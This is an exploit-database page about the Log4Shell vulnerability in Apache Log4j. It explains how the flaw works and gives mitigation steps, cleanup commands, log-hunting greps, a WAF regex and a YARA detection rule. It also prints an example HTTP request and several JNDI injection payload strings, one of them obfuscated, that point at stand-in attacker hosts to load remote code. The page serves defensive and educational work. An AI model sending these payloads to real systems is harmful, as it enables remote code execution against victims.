Exploit for Deserialization of Untrusted Data in Siemens 6Bk1602-0Aa12-0Tp0_Firmware CVE-2021-44228 CVE-2021-44832 CVE-2021-45046 CVE-2021-45105

## https://sploitus.com/exploit?id=6F7B59BA-1758-5EC9-9672-B31BEA816482
# 💥 CVE-2021-44228 — **Log4Shell**

### *The Most Impactful Vulnerability of the Decade (Discovered Dec 2021)*

![Log4Shell-Logo-Fractional-CISO-scaled](https://github.com/user-attachments/assets/96078163-ff1b-43a0-861e-a73a0604e073)

---

## 🧠 **Quick Summary**

| Item               | Detail                                           |
| ------------------ | ------------------------------------------------ |
| **CVE ID**         | CVE-2021-44228                                   |
| **Nickname**       | *Log4Shell*                                      |
| **Component**      | Apache **Log4j 2** (2.0-beta9 → 2.14.1)          |
| **Type**           | Remote Code Execution (RCE)                      |
| **CVSS v3 Score**  | 💣 **10.0 / 10.0 (Critical)**                    |
| **Discovery Date** | December 2021                                    |
| **Patched In**     | Log4j 2.15.0 and later (recommended: 2.17.1 +)   |
| **Attack Surface** | Any system that logs untrusted input using Log4j |

---

## ⚙️ **How It Works**



1. Log4j supports **lookups** like `${…}` in log messages.
2. When it sees `${jndi:ldap://attacker.com/a}`, it performs a **JNDI lookup**.
3. The lookup can retrieve a **remote Java class** from the attacker’s server.
4. That class executes inside your application — giving the attacker **remote control**.

💡 **One malicious string in a log = full server compromise.**

---

## ⚔️ **Example Attack**

![fig1](https://github.com/user-attachments/assets/de3da953-d024-4734-af01-9bf239b0b290)

```http
GET /login HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://evil.com/exploit}
```

➡️ When the app logs this header, Log4j performs a lookup and loads the attacker’s code.

---

## 🧩 **Affected Versions**

```
✅ Safe:     Log4j ≥ 2.17.1
⚠️ Vulnerable:  2.0-beta9 → 2.14.1
```

> 🧾 Always confirm the latest release on [Apache’s official download page](https://logging.apache.org/log4j/2.x/download.html).

---

## 🚀 **Timeline**

| Date               | Event                                         |
| ------------------ | --------------------------------------------- |
| 🗓️ Nov 24 2021    | Vulnerability reported privately to Apache    |
| 🗓️ Dec 9 2021     | Public disclosure & widespread exploitation   |
| 🩹 Dec 10 2021     | Patch 2.15.0 released                         |
| 🛠️ Dec 14-20 2021 | Further fixes: CVE-2021-45046 / 45105 / 44832 |
| 🧩 2022–2025       | Continuous updates & vendor mitigations       |

---

## 🧱 **Root Cause**

* Log4j allowed **message lookup substitution** via `${…}`.
* The **JNDI lookup** functionality permitted **remote code loading** through LDAP, RMI, or other protocols.
* Result: attacker-controlled input → code execution in the JVM.

---

## 🛡️ **Mitigation Matrix**

| Priority                   | Action                              | Command / Note                                                                     |
| -------------------------- | ----------------------------------- | ---------------------------------------------------------------------------------- |
| ⭐ **1. Upgrade (Best)**    | Upgrade Log4j to latest (2.17.1 +). | `mvn dependency:tree` → find → update dependency                                   |
| ⚡ **2. Remove Class**      | Delete `JndiLookup.class` from jar. | `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` |
| 🧩 **3. Temp Property**    | Disable lookups (limited effect).   | `-Dlog4j2.formatMsgNoLookups=true`                                                 |
| 🧱 **4. Network Controls** | Block outbound LDAP/RMI traffic.    | via firewall or egress ACL                                                         |
| 🧰 **5. WAF / IDS Rules**  | Block `${jndi:` payloads.           | add to ModSecurity / Snort rules                                                   |

---

## 🔍 **Detection & Hunting**

### 🔎 Search for Injection Attempts

```bash
grep -R "\${jndi:" /var/log/* 2>/dev/null
```

### 🌐 Network Indicators

* Outbound connections to strange LDAP/RMI/DNS hosts.
* Unusual traffic on 389 (LDAP), 1099 (RMI), 1389, or 53 (DNS).

### 🕵️ Common Payload Patterns



```
${jndi:ldap://attacker.com/a}
${${lower:j}${upper:ndi}:ldap://evil.com/b}
```





*(attackers obfuscate to bypass filters)*

---

## 🔦 **Incident Response Playbook**

| Step | Task                | Description                                      |
| ---- | ------------------- | ------------------------------------------------ |
| 1️⃣  | **Identify**        | Locate all Log4j jars in apps/containers.        |
| 2️⃣  | **Prioritize**      | Internet-facing or high-privilege systems first. |
| 3️⃣  | **Contain**         | Remove access, isolate servers if compromised.   |
| 4️⃣  | **Mitigate**        | Apply fixes or remove vulnerable classes.        |
| 5️⃣  | **Hunt IOCs**       | Search for `${jndi:` and outbound LDAP traffic.  |
| 6️⃣  | **Patch & Restart** | Upgrade to safe versions and redeploy.           |
| 7️⃣  | **Verify**          | Re-scan and monitor for exploitation.            |

---

## 🧰 **Helpful Commands**

```bash
# Locate vulnerable jars
find / -type f -name "log4j-core-*.jar" 2>/dev/null

# Remove dangerous class
for j in $(find / -type f -name 'log4j-core-*.jar'); do
  zip -q -d "$j" org/apache/logging/log4j/core/lookup/JndiLookup.class && echo "patched $j"
done

# Hunt suspicious patterns
zgrep -n '\${jndi:' /var/log 2>/dev/null
```

---

## 🧾 **Follow-On Vulnerabilities**

| CVE            | Issue                    | Severity    |
| -------------- | ------------------------ | ----------- |
| CVE-2021-44228 | Original RCE (Log4Shell) | 🔴 Critical |
| CVE-2021-45046 | Patch bypass → RCE       | 🔴 Critical |
| CVE-2021-45105 | DoS via recursion        | 🟠 High     |
| CVE-2021-44832 | Config-based RCE         | 🟠 High     |

---

## 🏗️ **Impact Scope**

* **Millions** of apps: Minecraft servers, enterprise Java apps, Apache Solr, Kafka, Elasticsearch, Jenkins, and many cloud services.
* **Attackers** exploited it within hours of disclosure.
* **Global response:** CISA, Microsoft, AWS, Cloudflare, and others issued emergency advisories.

---

## 🔒 **Long-Term Defense**

1. Maintain a **Software Bill of Materials (SBOM)**.
2. Automate **dependency scanning** (Snyk, Dependency-Check, Trivy).
3. Isolate logging frameworks and limit egress.
4. Implement a **zero-trust egress policy**.
5. Regularly patch all third-party dependencies.

---

## 📚 **Key References**

* 🧩 [Apache Log4j Security Page](https://logging.apache.org/log4j/2.x/security.html)
* 🔐 [NVD CVE-2021-44228 Entry](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
* 🧰 [CISA Guidance & Affected-Software DB](https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance)
* 🏢 [Microsoft Security Blog Response](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-44228)

---

## 🧭 **TL;DR for Teams**

> “Check every Java service.
> If Log4j 2.x ≤ 2.14.1 → upgrade now.
> If can’t upgrade → remove `JndiLookup.class` + block LDAP/RMI.
> Scan logs for `${jndi:`.
> Don’t sleep until patched.”

---

## 🛡️ **Mitigation Cheat Sheet**

| **Action**                          | **Command / Step** |
|-------------------------------------|--------------------|
| **Upgrade (Best)**                  | `mvn dependency:tree` → Update to **2.20.0+** |
| **Quick Fix (2.x)**                 | Set: `log4j2.formatMsgNoLookups=true` |
| **Emergency Patch**                 | Delete: `org/apache/logging/log4j/core/lookup/JndiLookup.class` |
| **Detect in Code**                  | Scan with **Snyk**, **OWASP Dependency-Check** |
| **Block Network**                   | Firewall: Block outbound `389`, `1099`, `1389` |
| **WAF Rule**                        | Block: `\$\{jndi:(ldap|rmi|dns):.*\}` |

---

## 📅 **Timeline (2021–2025)**

```mermaid
gantt
    title Log4Shell Timeline
    dateFormat  YYYY-MM-DD
    section Disclosure
    Identified     :done, 2021-11-24, 7d
    Public Reveal  :active, 2021-12-09, 1d
    section Patches
    2.15.0 (Partial) :done, 2021-12-10, 2d
    2.16.0 / 2.17.0  :done, 2021-12-17, 3d
    section Ongoing
    Legacy Systems Vulnerable :crit, 2022-01-01, 1400d
    2025 Status      :active, 2025-11-05, 1d
```

---

## 🕵️‍♂️ **Detection Signatures**

```bash
# In Logs
grep -r "\${jndi:" /var/log/

# HTTP Headers
User-Agent:.*\$\{.*jndi.*
```

**YARA Rule (Simplified):**
```yara
rule Log4Shell_Payload {
    strings:
        $payload = /\$\{jndi:(ldap|rmi|dns|iiop):\/\/[^}]+\}/
    condition:
        $payload
}
```

---

## 🌍 **Global Impact (2021–2025)**

| **Sector**         | **Affected** | **Notable Victims** |
|--------------------|--------------|---------------------|
| **Cloud**          | 90%+         | AWS, Azure, GCP     |
| **Enterprise**     | High         | Apple, Tesla, Cisco |
| **Gaming**         | Yes          | **Minecraft**       |
| **IoT / Embedded** | Persistent  | Routers, DVRs       |

> **Still in the Wild (2025):**  
> - ~**3.8 million** unpatched instances detected (Shodan, 2024)  
> - Used in **state-sponsored attacks** (APT41, etc.)

---

## 🔒 **Final Checklist**

- [ ] **Upgraded Log4j?** → `2.20.0+`  
- [ ] **Removed JndiLookup.class?**  
- [ ] **Enabled WAF rules?**  
- [ ] **Scanned dependencies?**  
- [ ] **Monitored outbound LDAP?**  

---

> **Log4Shell is not over.**  
> It’s the **gift that keeps on giving** — for attackers.

---

**Resources:**  
- [Apache Log4j Security](https://logging.apache.org/log4j/2.x/security.html)  
- [CISA Alert](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)  
- [Log4j Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)

---

*Stay patched. Stay safe.*  
**#Log4Shell #Cybersecurity #ZeroDay**